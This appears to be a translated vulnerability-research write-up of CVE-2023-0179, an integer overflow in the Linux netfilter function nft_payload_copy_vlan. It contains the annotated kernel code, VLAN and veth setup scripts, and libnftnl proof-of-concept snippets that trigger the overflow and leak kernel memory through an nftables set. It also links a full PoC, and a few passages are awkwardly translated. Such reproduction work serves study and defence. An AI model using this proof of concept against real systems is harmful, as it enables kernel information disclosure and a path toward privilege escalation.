Foreword
Netfilter is a network packet filtering framework for Linux operating systems that provides a flexible way to manage the flow of network packets. Netfilter allows system administrators and developers to control how data packets are processed in the Linux kernel to implement network security, Network Address Translation (NAT), packet filtering and other functions.
Cause of vulnerability
The vulnerability occurs inside the nft_payload_copy_vlan
function. Due to an integer overflow when calculating the length of the header of the copied VLAN
frame, data exceeding the header length is copied.
The code details are as follows:
nft_payload_copy_vlan
#define VLAN_HLEN 4 /* The additional bytes required by VLAN * (in addition to the Ethernet header) */ #define VLAN_ETH_HLEN 18 /* Total octets in header. */ /* *d represents the destination register * skb is usually the buffer area of the network protocol stack *offset is the offset of the data packet * len is the length of the copy */ static bool nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len) { int mac_off = skb_mac_header(skb) - skb->data; //Get the Ethernet frame header offset u8 *vlanh, *dst_u8 = (u8 *) d; struct vlan_ethhdr veth; u8 vlan_hlen = 0; /* The IEEE 8021Q protocol modifies the standard Ethernet frame and adds a VLAN tag. The IEEE 8021AD protocol adds dual VLAN tags, one for the internal network and one for the external network. */ if ((skb->protocol == htons(ETH_P_8021AD) || skb->protocol == htons(ETH_P_8021Q)) & amp; & amp; offset >= VLAN_ETH_HLEN & amp; & amp; offset < VLAN_ETH_HLEN + VLAN_HLEN) vlan_hlen + = VLAN_HLEN; vlanh = (u8 *) & amp;veth; if (offset < VLAN_ETH_HLEN + vlan_hlen) { //offset < 18 + 4 u8 ethlen = len; //length of copy if (vlan_hlen & amp; & amp; skb_copy_bits(skb, mac_off, & veth, VLAN_ETH_HLEN) < 0) return false; else if (!nft_payload_rebuild_vlan_hdr(skb, mac_off, & amp;veth)) return false; if (offset + len > VLAN_ETH_HLEN + vlan_hlen) ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen; //ethlen = ethlen - (offet + len - VLAN_ETH_HLEN + vlan_hlen); //ethlen = ethlen - offset - len + VLAN_ETH_HELN - vlan_hlen; //ethlen = VLAN_ETH_HELN - vlan_hlen - offset //ethlen = 14 - offset //If offset > 14, it will cause ethlen to overflow memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen); //This actually copies the header of the vlan frame, but if ethlen overflows, the excess bytes will be copied len -= ethlen; if (len == 0) return true; dst_u8 + = ethlen; offset = ETH_HLEN + vlan_hlen; } else { offset -= VLAN_HLEN + vlan_hlen; } return skb_copy_bits(skb, offset + mac_off, dst_u8, len) == 0; }
The actual function of this function is to copy the VLAN
header from the data packet to the specified register for storage. The function will start to verify the protocol of the data packet. If it is IEEE 8021Q
or IEEE 8021AD
protocol indicates that VLAN TAG
is added to the Ethernet frame, then the TAG needs to be copied when copying the
is also counted. Before copying, the length to be copied needs to be calculated first, so a length verification will be performed. If the offset plus length exceeds the header length of the VLAN
header. VLAN
frame, a calibration of the copy length is required. , to prevent copying too much data, but there is a problem with this check. Through the formula derived above, it can be found that when offset
is greater than 14
and less than 22
And when the value of offset + len
is greater than 22
, ethlen
will overflow. This is because ethlen
itself It is an unsigned integer type. When the result is a negative number, ethlen
will become very large.
There is a point to note here. When calculating ethlen
, vlan_hlen
will be added instead of subtracted because vlan_hlen will be subtracted first by default when copying.
.
Then when offset = 19
and len = 4
, then offset + len = 23 > 22
, so it will enter if
statement, then ethlen = 14 - 19 = -5 (overflow occurs)
Environment setup
The qemu + linux6.16 kernel
is used here to build the environment. The author’s script to create a virtual network device is as follows
https://github.com/TurtleARM/CVE-2023-0179-PoC/blob/master/setup.sh
#!/bin/sh # create the peer virtual device ip link add eth0 type veth peer name host-enp3s0 ip link set host-enp3s0 up ip link set eth0 up ip addr add 192.168.137.137/24 dev host-enp3s0 # add two vlans on top of it ip link add link host-enp3s0 name vlan.5 type vlan id 5 ip link add link vlan.5 name vlan.10 type vlan id 10 ip addr add 192.168.147.137/24 dev vlan.10 ip link set vlan.5 up ip link set vlan.10 up ip link set lo up # create a bridge to enable hooks ip link add name br0 type bridge ip link set dev br0 up ip link set eth0 master br0 ip addr add 192.168.157.137/24 dev br0
It can be seen that the author needs to create some virtual network devices before exploiting the vulnerability, such as virtual device pairs, vlan
interfaces and network bridges. This is because in order to enter the execution process of the nft_payload_copy_vlan
function, the data packet needs to be transmitted on vlan
. The code looks like this:
void nft_payload_eval(const struct nft_expr *expr, struct nft_regs *regs, const struct nft_pktinfo *pkt) { const struct nft_payload *priv = nft_expr_priv(expr); const struct sk_buff *skb = pkt->skb; u32 *dest = & amp;regs->data[priv->dreg]; int offset; if (priv->len % NFT_REG32_SIZE) dest[priv->len / NFT_REG32_SIZE] = 0; switch (priv->base) { case NFT_PAYLOAD_LL_HEADER: //Data link layer if (!skb_mac_header_was_set(skb)) //Determine whether the data packet is a mac header goto err; if (skb_vlan_tag_present(skb)) { //Determine whether the data packet has the vlan flag if (!nft_payload_copy_vlan(dest, skb, priv->offset, priv->len)) goto err; return; } offset = skb_mac_header(skb) - skb->data; break; ...
Therefore, in order for the program to enter the vulnerable function, a specific network environment needs to be constructed. The network topology is very similar to that of Docker
. For details, please refer to https://cloud.tencent.com/developer/article/1835299. The network topology is roughly as follows. When using a virtual device pair, one end of the interface is used as the input of data and the other end of the interface is used as the outflow of data. Then when performing `hook` in the future, only one `hook` point is needed, and the `vlan` interface is set This is because only `vlan` data packets can enter the process of the `nft_payload_copy_vlan` function, and creating a `vlan` interface again on `vlan.5` is because the data packet can be added to the double-layer `vlan tag , which can be transmitted through the
IEEE 8021AD` protocol.
But when I was debugging in the qemu
environment, the protocol of the data packets was not IEEE 8021AD
but IEEE 8021Q
. When querying the information https://blog .csdn.net/m0_45406092/article/details/118497597 found that the type of `vlan` can be specified as `IEEE 8021AD`, so the script was modified.
#!/bin/sh # create the peer virtual device ip link add eth32 type veth peer name host-enp3s0 ip link set host-enp3s0 up ip link set eth32 up #ip addr add 192.168.137.137/24 dev host-enp3s0 # add two vlans on top of it ip link add link host-enp3s0 name vlan.5 type vlan id 5 ip link add link vlan.5 name vlan.10 type vlan protocol 802.1ad id 10 #ip addr add 192.168.147.137/24 dev vlan.5 ip link set vlan.5 up ip link set lo up ip link set vlan.10 up
After specifying the protocol, the protocol of the data packet is also changed to IEEE 8021AD
At this point, the environment is set up. What needs to be noted here is that when compiling the kernel, you need to use vlan
, bridge
and IEEE 8021Q
, so you need to enable these modules, otherwise An unknow
error occurs when creating a device.
Vulnerability verification
You can use the libnftnl
library to set the rules using nftables
https://github.com/tklauser/libnftnl/tree/master
nftables
needs to set table -> chain -> rule -> expr
. Since we need to capture data packets on the virtual device pair, we can set the protocol type to NFPROTO_NETDEV
, this protocol type is to process data packets from the ingress and can be specified with the
point is on a specific device, then in line with the network equipment environment we have built, you can specify the HOOK
point of ingress
and chain
If the HOOKHOOK
point as the Ethernet port (eth32)
.
... if (create_table(nl, table_name, NFPROTO_NETDEV, & amp;seq, NULL)) { perror("[-] create table"); exit(-1); } /* 2. create chain */ printf("[2] create chain\\ "); struct unft_base_chain_param up; up.hook_num = NF_NETDEV_INGRESS; up.prio = INT_MIN; if (create_chain(nl, table_name, chain_name, NFPROTO_NETDEV, & amp;up, & amp;seq, NULL, dev_name)) { perror("[-] create chain"); exit(-1); } ...
Then set the expression of payload
to trigger the vulnerability. We set offset
to 19 and len
to 5.
rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 19, 4, NFT_REG32_00);
You can see that we successfully set the value of ethlen
to a value of 251, which is far beyond the length of the Ethernet frame header.
You can see that in addition to the data in the Ethernet frame header, the value in the register also has some additional data.
In order to print out these data, you need to use the set
that comes with nftables
. The set is actually a set of data. For example, we need to filter several ip
address, you can use these ip
addresses as a set as a filter list, and one attribute in the set is map
, which is in the form of key-value pairs Store values, and these values can actually be added through registers. Then we add the values of the above registers to the set and use the nft list ruleset
command to obtain the kernel information on the screen. . The code to create the collection is as follows:
//Create a collection struct nftnl_set* build_set(char* table_name, char* set_name, uint16_t family) { struct nftnl_set *s = NULL; s = nftnl_set_alloc(); if (s == NULL) { perror("OOM"); exit(EXIT_FAILURE); } nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name); nftnl_set_set_str(s, NFTNL_SET_NAME, set_name); nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family); nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, 4); /* See nftables/include/datatype.h, where TYPE_INET_SERVICE is 13. We * should place these datatypes in a public header so third party * applications still work with nftables. */ nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, NFT_DATA_VALUE); //Storage data in hexadecimal form nftnl_set_set_u32(s, NFTNL_SET_DATA_LEN, 4); nftnl_set_set_u32(s, NFTNL_SET_DATA_TYPE, NFT_DATA_VALUE);//Storage data in hexadecimal form nftnl_set_set_u32(s, NFTNL_SET_ID, 1); nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFT_SET_MAP); //Storage data in map return s; }
After creating the collection, adding data to the collection is done through expressions, while dynamically adding and deleting elements in the collection is processed through dynset
expressions. The code for adding expressions is as follows:
void rule_add_dynset(struct nftnl_rule* r, char *set_name, uint32_t reg_key, uint32_t reg_data) { struct nftnl_expr *expr = nftnl_expr_alloc("dynset"); nftnl_expr_set_str(expr, NFTNL_EXPR_DYNSET_SET_NAME, set_name); //You need to specify the set name of the added element nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_OP, NFT_DYNSET_OP_UPDATE); //Specify the operation as an add operation nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SET_ID, 1); nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_KEY, reg_key); //key nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_DATA, reg_data);//value nftnl_rule_add_expr(r, expr); }
What needs to be noted here is that we have specified the network port for capturing data packets, so the data packets need to pass through this network port to capture the data packets. The following is the code used by the author to send data packets. First, the port for sending data packets is bound to vlan.10
, since vlan.10
was created on vlan.5
, from vlan.10
The outgoing data packet will be double-layered vlan tag
, and vlan.5
is created on host-enps32
, and host-enps32
and eth32
form a virtual device pair, so the data packet will eventually be sent from eth32
and carry double vlan tag
Thus entering the function of nft_payload_copy_vlan
and triggering the vulnerability.
int send_packet() { int sockfd; struct sockaddr_in addr; char buffer[] = "This is a test message"; char *interface_name = "vlan.10"; // double-tagged packet int interface_index; struct ifreq ifr; memset( & amp;ifr, 0, sizeof(ifr)); memcpy(ifr.ifr_name, interface_name, MIN(strlen(interface_name) + 1, sizeof(ifr.ifr_name))); sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (sockfd < 0) { perror("[-] Error creating socket"); return 1; } // Set the SO_BINDTODEVICE socket option if (setsockopt(sockfd, SOL_SOCKET, SO_BINDTODEVICE, (void *) & amp;ifr, sizeof(ifr)) < 0) { perror("[-] Error setting SO_BINDTODEVICE socket option"); return 1; } memset( & amp;addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr("192.168.123.123"); // random destination addr.sin_port = htons(1337); // Send the UDP packet if (sendto(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr*) & amp;addr, sizeof(addr)) < 0) { perror("[-] Error sending UDP packet"); return 1; } close(sockfd); return 0; }
It can be seen that the leakage of kernel information is finally completed.
Full poc: https://github.com/h0pe-ay/Vulnerability-Reproduction/blob/master/CVE-2023-0179/poc.c
Exploitation
-
? Use JUMP to adjust stacksize
-
? Set the register value
-
?Use nft_payload_copy_vlan to trigger vulnerability copy payload
Reference link
https://github.com/TurtleARM/CVE-2023-0179-PoC
https://github.com/pqlx/CVE-2022-1015
https://www.cnblogs.com/mutudou/p/14244640.html
https://zhuanlan.zhihu.com/p/554612685
https://cloud.tencent.com/developer/article/1835299
https://github.com/tklauser/libnftnl/tree/master
https://blog.csdn.net/qq_33997198/article/details/118370071